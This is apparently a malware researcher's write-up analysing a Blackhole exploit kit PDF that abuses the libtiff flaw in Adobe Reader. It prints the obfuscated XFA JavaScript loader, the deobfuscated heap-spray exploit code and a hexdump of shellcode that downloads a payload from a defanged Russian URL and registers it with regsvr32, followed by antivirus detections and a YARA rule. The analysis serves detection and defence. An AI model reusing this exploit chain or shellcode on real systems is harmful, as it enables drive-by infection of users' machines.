As I discussed in the previous post about function x() which used to decode the URL parameter in show_pdf2(), with any values inside cpdgszkh, uln and wjlajcro, I get the same PDF sample. So as for now, I just assume that those URL parameter values has no cross-checking on blackhole backend.
With the PDF sample that I got, I started the analysis. The sample was crafted to exploit libtiff vulnerability in Adobe Reader. The common libtiff exploit will use contentType="image/tiff" to embed the exploit + payload encoded in base64. This method can be easily analyzed by decoding the base64 and get the payload straight away.
As for Blackhole exploit kit version of libtiff exploit (and many other in-the-wild sample), they will add another layer of obfuscation method by using JavaScript obfuscation before getting into the tiff exploit + payload. We can check through contentType="application/x-javascript".
<xfa:script contentType='application/x-javascript'>
/*sagasgasgasg
with(event){
k=target.eval;
if((app.addMenuItem+"")!=-1){a=target.keywords;}
}*/
with(event){
k=target.eval;
if((app.addMenuItem+"").indexOf('native')!=-1){a=target.keywords;}
}
s="";
z=a;
for(i=0;i<a.length;i+=2){
s+=String.fromCharCode(parseInt(z[i]+z[i+1],28));
}
k(s);
</xfa:script>
From above JS code snippet, with the help of fromCharCode and parseInt, JS code will execute eval within the values of target.keywords. In usual manner, target.keywords (or previously used this.keywords) will get the value from PDF key, /Keywords.
3 0 obj<</Keywords(3d40401i3d3o3h4244253h463h3q441i443d423j3h441i3f423h3d443l3r3q2c3d443h1i423h403o3d3f3h1c1j1g1j3j1g1b1b1d23463d4214403d3g3g3l3q3j23463d42143e3e3e1g143f3f3f1g143g3g3g1g143h3h3h1g143i3i3i1g143j3j3j1g143k3k3k23463d4214403r3l3q443h42433b3d1g143l23463d4214481425143q3h47142942423d491c1d23463d4214491425143q3h471
...
snip
...
3b3o3o1m253b3m3l1l1c3b3m1r1g1b1b1d233l3i1c3b3o3o1m1i3o3h3q3j443k191m1d3b3o3o1m1f25453q3h433f3d403h1c1b191k1k1b1d233b3o3o1n253b3m1m1c3b3o3o1m1d23473l443k1c4b3n223b3o3o1n4d1d3b2h1k1c3n1d232h3p3d3j3h2e3l3h3o3g1l1i423d47323d3o453h253b3o3o1l4d3b3m1n1c1d23)
By replacing target.keywords with the value in /Keywords and execute the eval, another JS code generated which obviously its purpose to craft the payload with the exploit itself. The payload seems to be obfuscated as well, this time it was target.creationDate, which similar as target.keywords, it find the value inside PDF key /CreationDate. Below are the beautified version;
app.alert = event.target.creationDate.replace(/,/g, '');
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + event.target.creationDate.replace(/,/g, '');
var _l2 = "4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141" + event.target.creationDate.replace(/,/g, '');
_l3 = app;
_l4 = new Array();
function _l5() {
var _l6 = _l3.viewerVersion.toString();
_l6 = _l6.replace('.', '');
while (_l6.length < 4) _l6 += '0';
return parseInt(_l6, 10)
}
function _l7(_l8, _l9) {
while (_l8.length * 2 < _l9) _l8 += _l8;
return _l8.substring(0, _l9 / 2)
}
function _I0(_I1) {
_I1 = unescape(_I1);
roteDak = _I1.length * 2;
dakRote = unescape('%u9090');
spray = _l7(dakRote, 0x2000 - roteDak);
loxWhee = _I1 + spray;
loxWhee = _l7(loxWhee, 524098);
for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
while (_I1.length < len) _I1 += _I1;
return _I1.substring(0, len)
}
function _I3(_I1) {
ret = '';
for (i = 0; i < _I1.length; i += 2) {
b = _I1.substr(i, 2);
c = parseInt(b, 16);
ret += String.fromCharCode(c);
}
return ret
}
function _ji1(_I1, _I4) {
_I5 = '';
for (_I6 = 0; _I6 < _I1.length; _I6++) {
_l9 = _I4.length;
_I7 = _I1.charCodeAt(_I6);
_I8 = _I4.charCodeAt(_I6 % _l9);
_I5 += String.fromCharCode(_I7 ^ _I8);
}
return _I5
}
function _I9(_I6) {
_j0 = _I6.toString(16);
_j1 = _j0.length;
_I5 = (_j1 % 2) ? '0' + _j0 : _j0;
return _I5
}
function _j2(_I1) {
_I5 = '';
for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
_I5 += '%u';
_I5 += _I9(_I1.charCodeAt(_I6 + 1));
_I5 += _I9(_I1.charCodeAt(_I6))
}
return _I5
}
function _j3() {
_j4 = _l5();
if (_j4 < 9000) {
_j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
_j6 = _l1;
_j7 = _I3(_j6)
} else {
_j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
_j6 = _l2;
_j7 = _I3(_j6)
}
_j8 = 'SUkqADggAABB';
_j9 = _I2('QUFB', 10984);
_ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
_ll1 = _j8 + _j9 + _ll0 + _j5;
_ll2 = _ji1(_j7, '');
if (_ll2.length % 2) _ll2 += unescape('');
_ll3 = _j2(_ll2);
with({
k: _ll3
}) _I0(k);
ImageField1.rawValue = _ll1
}
_j3();
Looking into variables _l1 and _l2, obviously it is a shellcode that might contains the URL for DownloadExec. Thus we combine it with the value inside /CreationDate, and we get the full shellcode.
00000000 4c 20 60 0f 05 17 80 4a 3c 20 60 0f 0f 63 80 4a |L `....J< `..c.J|
00000010 a3 eb 80 4a 30 20 82 4a 6e 2f 80 4a 41 41 41 41 |...J0 .Jn/.JAAAA|
00000020 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |&...............|
00000030 12 39 80 4a 64 20 60 0f 00 04 00 00 41 41 41 41 |.9.Jd `.....AAAA|
00000040 41 41 41 41 66 83 e4 fc fc 85 e4 75 34 e9 5f 33 |AAAAf......u4._3|
00000050 c0 64 8b 40 30 8b 40 0c 8b 70 1c 56 8b 76 08 33 |.d.@0.@..p.V.v.3|
00000060 db 66 8b 5e 3c 03 74 33 2c 81 ee 15 10 ff ff b8 |.f.^<.t3,.......|
00000070 8b 40 30 c3 46 39 06 75 fb 87 34 24 85 e4 75 51 |.@0.F9.u..4$..uQ|
00000080 e9 eb 4c 51 56 8b 75 3c 8b 74 35 78 03 f5 56 8b |..LQV.u<.t5x..V.|
00000090 76 20 03 f5 33 c9 49 41 fc ad 03 c5 33 db 0f be |v ..3.IA....3...|
000000a0 10 38 f2 74 08 c1 cb 0d 03 da 40 eb f1 3b 1f 75 |.8.t......@..;.u|
000000b0 e6 5e 8b 5e 24 03 dd 66 8b 0c 4b 8d 46 ec ff 54 |.^.^$..f..K.F..T|
000000c0 24 0c 8b d8 03 dd 8b 04 8b 03 c5 ab 5e 59 c3 eb |$...........^Y..|
000000d0 53 ad 8b 68 20 80 7d 0c 33 74 03 96 eb f3 8b 68 |S..h .}.3t.....h|
000000e0 08 8b f7 6a 05 59 e8 98 ff ff ff e2 f9 e8 00 00 |...j.Y..........|
000000f0 00 00 58 50 6a 40 68 ff 00 00 00 50 83 c0 19 50 |..XPj@h....P...P|
00000100 55 8b ec 8b 5e 10 83 c3 05 ff e3 68 6f 6e 00 00 |U...^......hon..|
00000110 68 75 72 6c 6d 54 ff 16 83 c4 08 8b e8 e8 61 ff |hurlmT........a.|
00000120 ff ff eb 02 eb 72 81 ec 04 01 00 00 8d 5c 24 0c |.....r.......\$.|
00000130 c7 04 24 72 65 67 73 c7 44 24 04 76 72 33 32 c7 |..$regs.D$.vr32.|
00000140 44 24 08 20 2d 73 20 53 68 f8 00 00 00 ff 56 0c |D$. -s Sh.....V.|
00000150 8b e8 33 c9 51 c7 44 1d 00 77 70 62 74 c7 44 1d |..3.Q.D..wpbt.D.|
00000160 05 2e 64 6c 6c c6 44 1d 09 00 59 8a c1 04 30 88 |..dll.D...Y...0.|
00000170 44 1d 04 41 51 6a 00 6a 00 53 57 6a 00 ff 56 14 |D..AQj.j.SWj..V.|
00000180 85 c0 75 16 6a 00 53 ff 56 04 6a 00 83 eb 0c 53 |..u.j.S.V.j....S|
00000190 ff 56 04 83 c3 0c eb 02 eb 13 47 80 3f 00 75 fa |.V........G.?.u.|
000001a0 47 80 3f 00 75 c4 6a 00 6a fe ff 56 08 e8 9c fe |G.?.u.j.j..V....|
000001b0 ff ff 8e 4e 0e ec 98 fe 8a 0e 89 6f 01 bd 33 ca |...N.......o..3.|
000001c0 8a 5b 1b c6 46 79 36 1a 2f 70 68 74 74 70 3a 2f |.[..Fy6./phttp:/|
000001d0 2f 73 65 63 74 61 6e 74 65 73 2d 78 2e 72 75 3a |/sectantes-x[.]ru:|
000001e0 38 30 38 30 2f 66 6f 72 75 6d 2f 6c 69 6e 6b 73 |8080/forum/links|
000001f0 2f 63 6f 6c 75 6d 6e 2e 70 68 70 3f 61 77 67 6e |/column.php?awgn|
00000200 73 67 6a 3d 30 61 30 62 30 39 30 33 30 62 26 67 |sgj=0a0b09030b&g|
00000210 62 6f 76 69 3d 33 33 30 37 30 39 33 37 33 38 30 |bovi=33070937380|
00000220 37 30 37 33 36 30 36 30 62 26 74 6f 77 68 67 66 |70736060b&towhgf|
00000230 3d 30 33 26 61 6d 79 77 79 65 72 6d 3d 6a 71 69 |=03&amywyerm=jqi|
00000240 73 79 7a 74 26 73 71 65 6d 68 3d 68 79 69 6d 6a |syzt&sqemh=hyimj|
00000250 00 00 |..|
00000252
[azizan@lab69 analysis]$ ruby virustotal.rb column.php\?awgnsgj\=0a0b09030b\&gbovi\=3307093738070736060b\&towhgf\=03\&amywyerm\=jqisyzt\&sqemh\=hyimj
warning: peer certificate won't be verified in this SSL session
Date submitted: 2012-09-30 18:54:40
Fortinet: W32/Kryptik.AB!tr
TrendMicro: WORM_CRIDEX.DI
Symantec: Trojan.Gen
AVG: Agent_r.BNO
BitDefender: Trojan.Generic.KDV.742222
GData: Trojan.Generic.KDV.742222
ViRobot: Trojan.Win32.A.PornoAsset.137216.C
F-Prot: W32/Falab.F16.gen!Eldorado
AhnLab-V3: Trojan/Win32.PornoAsset
F-Secure: Trojan.Generic.KDV.742222
nProtect: Trojan.Generic.KDV.742222
Ikarus: Trojan-Ransom.Win32.PornoAsset
VIPRE: Trojan.Win32.Generic!BT
Panda: Suspicious file
Avast: Win32:Carberp-AJF [Trj]
CAT-QuickHeal: (Suspicious) - DNAScan
ESET-NOD32: a variant of Win32/Kryptik.AMHF
PCTools: Trojan.Gen
Commtouch: W32/Falab.F16.gen!Eldorado
McAfee-GW-Edition: Ransom!gu
Kaspersky: Trojan-Ransom.Win32.PornoAsset.abup
Sophos: Mal/Ransom-Z
DrWeb: Trojan.DownLoad2.39083
Norman: W32/Kryptik.BUS
AntiVir: TR/Rogue.kdv.742222
Comodo: UnclassifiedMalware
McAfee: Artemis!9F86A132C0A5
With the sample analyzed, I take the opportunity to write yara rule from that PDF sample, again, just to exercise pattern and generalization of different samples.
[azizan@lab69 analysis]$ python pdf-parser.py -f -w column.php\?cpdgszkh\=0a0b09030b\&uln\=44\&rfor\=3307093738070736060b\&wjlajcro\=0b00040003 > inflated_pdf.pdf
[azizan@lab69 analysis]$ yara -r PDF.yar inflated_pdf.pdf
CVE_2011_2462_libTIFF_Blackhole inflated_pdf.pdf